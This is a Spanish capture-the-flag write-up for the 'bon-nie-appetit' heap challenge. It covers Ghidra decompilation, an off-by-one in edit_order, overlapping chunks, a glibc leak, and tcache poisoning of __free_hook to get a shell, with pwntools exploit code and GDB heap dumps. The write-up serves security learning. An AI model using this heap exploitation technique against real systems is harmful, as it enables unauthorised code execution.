Bon-nie-appetit
13 minutos de lectura
Se nos proporciona un binario de 64 bits llamado bon-nie-appetit
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Además, también tenemos el binario parcheado con la librería y cargador de Glibc remoto:
$ ldd bon-nie-appetit
linux-vdso.so.1 (0x00007fff11ae1000)
libc.so.6 => ./glibc/libc.so.6 (0x00007f96fdaab000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f96fe0a1000)
$ ./glibc/ld-linux-x86-64.so.2 ./glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.5) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Ingeniería inversa
Vamos a cargar el binario en Ghidra para analizar el código en C descompilado:
void main() {
undefined4 option;
long in_FS_OFFSET;
char *orders[21];
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
memset(orders, 0, 160);
setup();
banner();
do {
menu();
option = read_num();
switch (option) {
default:
printf("\n%s[-] Invalid option!%s\n", &DAT_001012b0, &DAT_001012b8);
break;
case 1:
new_order(orders);
break;
case 2:
show_order(orders);
break;
case 3:
edit_order(orders);
break;
case 4:
delete_order(orders);
break;
case 5:
printf("%s\n[+] Your order will be ready soon!\n", &DAT_001012a8);
/* WARNING: Subroutine does not return */
exit(0x45);
}
} while (true);
}
Podemos ver que es un reto de heap porque tenemos un menú para administrar memoria dinámica:
$ ./bon-nie-appetit
🍔 Little Green People's Burgers 🍔
████████████████████
██ ██
██ ████ ████ ██
██ ████ ████ ██
██ ████ ██
██ ██
████████████████████████████████████
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
████████████████████████████████
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░██░░░░██████░░░░░░██░░░░████
████ ████ ██████ ████ ██
██ ██
████████████████████████████
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
Estos objetos se almacenarán en una variable llamada orders
, que se pasa por referencia al resto de las funciones.
Función de asignación
Esta es new_order
:
void new_order(char **orders) {
int index;
int amount;
char *p_order;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = get_empty_order(orders, 20);
if (index == -1) {
printf("%s\n[-] Cannot order more!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] For how many: ");
amount = read_num();
p_order = (char *) malloc((long) amount);
if (p_order == NULL) {
printf("%s\n[-] Something went wrong!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] What would you like to order: ");
read(0, p_order, (long) amount);
orders[index] = p_order;
}
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta función nos permite ingresar un nuevo chunk, indicando el tamaño y el contenido. No hay vulnerabilidades aquí.
Para obtener más información, podemos echar un vistazo a get_empty_order
, que solo busca un sitio sin usar en la lista de orders
. Además, tenemos un máximo de 20 pedidos.
int get_empty_order(char **orders, int max) {
long in_FS_OFFSET;
int i;
for (i = 0; i < max; i = i + 1) {
if (orders[i] == NULL) goto LAB_00100b62;
}
i = -1;
LAB_00100b62:
if (*(long *) (in_FS_OFFSET + 0x28) == *(long *)(in_FS_OFFSET + 0x28)) {
return i;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Función de información
Esta es show_order
:
void show_order(char **orders) {
uint index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if ((((int) index < 0) || (19 < (int) index)) || (orders[(int) index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[+] Order[%d] => %s \n%s", (ulong) index, orders[(int)index], &DAT_001012b8);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta función también es segura, porque verifica si el índice provisto está fuera de los límites y si la entrada seleccionada es NULL
o no. Entonces, no hay Use After Free aquí.
Función de edición
Esta es edit_order
:
void edit_order(char **orders) {
int index;
size_t length;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if (((index < 0) || (19 < index)) || (orders[index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
printf("\n[*] New order: ");
length = strlen(orders[index]);
read(0, orders[index], length);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta función puede parecer segura, pero aquí hay un pequeño error aquí:
printf("\n[*] New order: ");
length = strlen(orders[index]);
read(0, orders[index], length);
Aquí tenemos un off-by-one. El problema aquí es que los chunks del heap son adyacentes, por lo que si llenamos la sección de datos de un chunk, entonces strlen
devolverá un byte más que la longitud del contenido real porque tendrá en cuenta el tamaño del chunk (más sobre esto tarde).
Función de liberación
Por último, pero no menos importante, esta es delete_order
:
void delete_order(char **orders) {
int index;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("\n[*] Number of order: ");
index = read_num();
if (((index < 0) || (19 < index)) || (orders[index] == NULL)) {
printf("\n%s[-] There is no such order!%s\n", &DAT_001012b0, &DAT_001012b8);
} else {
free(orders[index]);
orders[index] = NULL;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta es segura porque los pedidos se ponen a NULL
después de que se liberen. Además, no hay double free aquí.
Estrategia de explotación
Solo hay un error en este programa, que es un off-by-one en edit_order
. Podemos usar esta vulnerabilidad para modificar el tamaño de un fragmento adyacente. Esto es clave porque podemos aumentar su tamaño y obtener chunks solapados (overlapping chunks), que puede usarse para realizar un ataque de Tcache poisoning para modificar __free_hook
.
Analicemos cómo funciona el off-by-one en GDB:
$ gdb -q bon-nie-appetit
Reading symbols from bon-nie-appetit...
(No debugging symbols found in bon-nie-appetit)
pwndbg> run
Starting program: ./bon-nie-appetit
🍔 Little Green People's Burgers 🍔
████████████████████
██ ██
██ ████ ████ ██
██ ████ ████ ██
██ ████ ██
██ ██
████████████████████████████████████
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
████████████████████████████████
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░██░░░░██████░░░░░░██░░░░████
████ ████ ██████ ████ ██
██ ██
████████████████████████████
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> 1
[*] For how many: 24
[*] What would you like to order: aaaaaaaaaaaaaaaaaaaaaaaa
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> 1
[*] For how many: 24
[*] What would you like to order: bbbbbbbbbbbbbbbbbbbbbbbb
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
Este es el heap ahora mismo:
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x555555757000 0x0000000000000000 0x0000000000000251 ........Q.......
0x555555757010 0x0000000000000000 0x0000000000000000 ................
...
0x555555757240 0x0000000000000000 0x0000000000000000 ................
0x555555757250 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757260 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x555555757270 0x6161616161616161 0x0000000000000021 aaaaaaaa!.......
0x555555757280 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x555555757290 0x6262626262626262 0x0000000000020d71 bbbbbbbbq....... <-- Top chunk
Ahora, si editamos el primer chunk, el resultado de strlen
será 25
porque el tamaño del siguiente fragmento cuenta como string en C, ya que las strings terminan en un byte nulo:
pwndbg> x/s 0x555555757260
0x555555757260: 'a' <repeats 24 times>, "!"
pwndbg> call (int) strlen((char *) 0x555555757260)
$1 = 25
Entonces, podemos modificar este último byte, que es el tamaño del siguiente chunk:
pwndbg> continue
Continuing.
3
[*] Number of order: 0
[*] New order: xxxxxxxxxxxxxxxxxxxxxxxxA
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
>
[-] Invalid option!
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
pwndbg> vis_heap_chunks
0x555555757000 0x0000000000000000 0x0000000000000251 ........Q.......
0x555555757010 0x0000000000000000 0x0000000000000000 ................
...
0x555555757240 0x0000000000000000 0x0000000000000000 ................
0x555555757250 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757260 0x7878787878787878 0x7878787878787878 xxxxxxxxxxxxxxxx
0x555555757270 0x7878787878787878 0x0000000000000041 xxxxxxxxA.......
0x555555757280 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x555555757290 0x6262626262626262 0x0000000000020d71 bbbbbbbbq....... <-- Top chunk
0x5555557572a0 0x0000000000000000 0x0000000000000000 ................
Como se puede ver, ahora el tamaño del segundo chunk es 0x40
(no 0x20
como antes). Obsérvese cómo pwndbg
está tratando de colorear las direcciones en verde, porque está confundido en este momento.
Imaginemos que tenemos un tercer chunk de tamaño 0x20
. Si lo liberamos antes de explotar el off-by-one, entonces podríamos lograr chunks solapados. Tengamos en cuenta que ahora que tenemos un chunk con tamaño 0x40
, podemos liberarlo y asignarlo nuevamente, por lo que tenemos la oportunidad de modificar los datos del tercer chunk, que está liberado y superpuesto con el segundo chunk.
Desarrollo del exploit
Usaremos estas funciones auxiliares:
def create(p, amount: int, order: bytes):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'[*] For how many: ', str(amount).encode())
p.sendafter(b'[*] What would you like to order: ', order)
def show(p, index: int) -> bytes:
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
p.recvuntil(b' => ')
return p.recvuntil(b'\n+=-=-=-=-=-=-=-=-=-=-=-=-=-=+\n', drop=True)
def edit(p, index: int, order: bytes):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
p.sendafter(b'[*] New order: ', order)
def delete(p, index: int):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'[*] Number of order: ', str(index).encode())
Fugando direcciones de memoria
En primer lugar, necesitaremos encontrar la dirección base de Glibc. En los retos de explotación del heap que involucran Tcache es bastante común llenar la lista libre del Tcache de un tamaño mayor que 0x80
(para evitar chunks de categoría Fast Bin), de modo que cuando se libera otro chunk, se guarda en la lista de Unsorted Bin. Como resultado, el chunk tendrá punteros a main_arena
tanto en fd
como en bk
.
Aunque no podemos mostrar el contenido directamente porque no hay Use After Free, aún podemos asignar un nuevo chunk allí y modificar solo el último byte, dejando el resto de la dirección intacta y disponible para mostrarse.
Con el siguiente código, tendremos la dirección base de Glibc (es necesario usar GDB para encontrar los offsets correctos):
def main():
p = get_process()
gdb.attach(p, 'continue')
for _ in range(9):
create(p, 0x88, b'asdf')
for i in range(8, -1, -1):
delete(p, i)
for _ in range(8):
create(p, 0x88, b'a')
leak = u64(show(p, 7)[:6].ljust(8, b'\0'))
log.info(f'Leaked main_arena address: {hex(leak)}')
glibc.address = leak - 0x3ebd61
log.success(f'Glibc base address: {hex(glibc.address)}')
Como tenemos GDB conectado al proceso, podemos verificar que nuestra dirección base es correcta:
$ python3 solve.py
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './bon-nie-appetit': pid 21917
[*] running in new terminal: ['/usr/bin/gdb', '-q', './bon-nie-appetit', '21917', '-x', '/tmp/pwnsuy8tjey.gdb']
[+] Waiting for debugger: Done
[*] Leaked main_arena address: 0x7f22bfc0ed61
[+] Glibc base address: 0x7f22bf823000
[*] Switching to interactive mode
| |
| 1. Make an order 🍔 |
| 2. Show an order 👀 |
| 3. Edit an order ♻️ |
| 4. Delete an order ❌ |
| 5. Finalize an order ✅ |
| |
+=-=-=-=-=-=-=-=-=-=-=-=-=-=+
> $
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x562cdd092000 0x562cdd094000 r-xp 2000 0 ./bon-nie-appetit
0x562cdd293000 0x562cdd294000 r--p 1000 1000 ./bon-nie-appetit
0x562cdd294000 0x562cdd295000 rw-p 1000 2000 ./bon-nie-appetit
0x562cde854000 0x562cde875000 rw-p 21000 0 [heap]
0x7f22bf823000 0x7f22bfa0a000 r-xp 1e7000 0 ./glibc/libc.so.6
0x7f22bfa0a000 0x7f22bfc0a000 ---p 200000 1e7000 ./glibc/libc.so.6
0x7f22bfc0a000 0x7f22bfc0e000 r--p 4000 1e7000 ./glibc/libc.so.6
0x7f22bfc0e000 0x7f22bfc10000 rw-p 2000 1eb000 ./glibc/libc.so.6
0x7f22bfc10000 0x7f22bfc14000 rw-p 4000 0 [anon_7f22bfc10]
0x7f22bfc14000 0x7f22bfc3d000 r-xp 29000 0 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3b000 0x7f22bfe3d000 rw-p 2000 0 [anon_7f22bfe3b]
0x7f22bfe3d000 0x7f22bfe3e000 r--p 1000 29000 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3e000 0x7f22bfe3f000 rw-p 1000 2a000 ./glibc/ld-linux-x86-64.so.2
0x7f22bfe3f000 0x7f22bfe40000 rw-p 1000 0 [anon_7f22bfe3f]
0x7ffcfa99d000 0x7ffcfa9be000 rw-p 21000 0 [stack]
0x7ffcfa9d7000 0x7ffcfa9da000 r--p 3000 0 [vvar]
0x7ffcfa9da000 0x7ffcfa9db000 r-xp 1000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Todo está perfecto.
Off-by-one
Usaremos el siguiente código para explotar la vulnerabilidad off-by-one:
create(p, 0x18, b'A' * 0x18) # 8
create(p, 0x18, b'B' * 0x18) # 9
create(p, 0x18, b'C' * 0x18) # 10
delete(p, 10)
edit(p, 8, b'A' * 0x18 + b'\x41')
Después de ejecutar lo anterior, tenemos este estado del heap:
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x5556831c8000 0x0000000000000000 0x0000000000000251 ........Q.......
0x5556831c8010 0x0000000000000001 0x0000000000000000 ................
0x5556831c8020 0x0000000000000000 0x0000000000000000 ................
0x5556831c8030 0x0000000000000000 0x0000000000000000 ................
0x5556831c8040 0x0000000000000000 0x0000000000000000 ................
0x5556831c8050 0x00005556831c8330 0x0000000000000000 0...VU..........
0x5556831c8060 0x0000000000000000 0x0000000000000000 ................
...
0x5556831c82d0 0x0000000000000000 0x0000000000000000 ................
0x5556831c82e0 0x0000000000000000 0x0000000000000021 ........!.......
0x5556831c82f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5556831c8300 0x4141414141414141 0x0000000000000041 AAAAAAAAA.......
0x5556831c8310 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x5556831c8320 0x4242424242424242 0x0000000000000021 BBBBBBBB!.......
0x5556831c8330 0x0000000000000000 0x00005556831c8010 ............VU.. <-- tcachebins[0x20][0/1]
0x5556831c8340 0x4343434343434343 0x0000000000000031 CCCCCCCC1....... <-- unsortedbin[all][0]
0x5556831c8350 0x00007fd6ae893ca0 0x00007fd6ae893ca0 .<.......<......
0x5556831c8360 0x0000000000000000 0x0000000000000000 ................
0x5556831c8370 0x0000000000000030 0x0000000000000090 0...............
0x5556831c8380 0x00005556831c8461 0x0000000000000000 a...VU..........
0x5556831c8390 0x0000000000000000 0x0000000000000000 ................
...
pwndbg> bins
tcachebins
0x20 [ 1]: 0x5556831c8330 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x5556831c8340 —▸ 0x7fd6ae893ca0 ◂— 0x5556831c8340
smallbins
empty
largebins
empty
Como se puede ver, hay un chunk de tamaño 0x20
dentro de un chunk de tamaño 0x40
(el azul), por lo que tenemos chunks superpusolapadosestos. Ahora, podemos liberar y asignar este chunk más grande:
delete(p, 9)
create(p, 0x38, b'B' * 0x18 + p64(0x21) + p64(glibc.sym.__free_hook))
Así, podremos controlar el puntero fd
del tercer chunk y realizar un simple ataque de Tcache poisoning para modificar __free_hook
:
create(p, 0x18, b'/bin/sh\0')
create(p, 0x18, p64(glibc.sym.system))
delete(p, 10)
p.interactive()
Hemos ingresado system
para ejecutar system("/bin/sh")
fácilmente liberando un chunk que contiene esa cadena. Y así tenemos una shell:
$ python3 solve.py
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './bon-nie-appetit': pid 5917
[*] Leaked main_arena address: 0x7f0c2e53ad61
[+] Glibc base address: 0x7f0c2e14f000
[*] Switching to interactive mode
$ ls
bon-nie-appetit flag.txt glibc solve.py
$ cat flag.txt
HTB{f4k3_fl4g_4_t35t1ng}
Flag
Vamos a probar en remoto:
$ python3 solve.py 144.126.228.151:31842
[*] './bon-nie-appetit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 144.126.228.151 on port 31842: Done
[*] Leaked main_arena address: 0x7f9b45907d61
[+] Glibc base address: 0x7f9b4551c000
[*] Switching to interactive mode
$ ls
bon-nie-appetit
flag.txt
glibc
$ cat flag.txt
HTB{l1bc-2.27_h45_l1ttle_gr33n_ppl_1n51d3}
El exploit completo se puede encontrar aquí: solve.py
.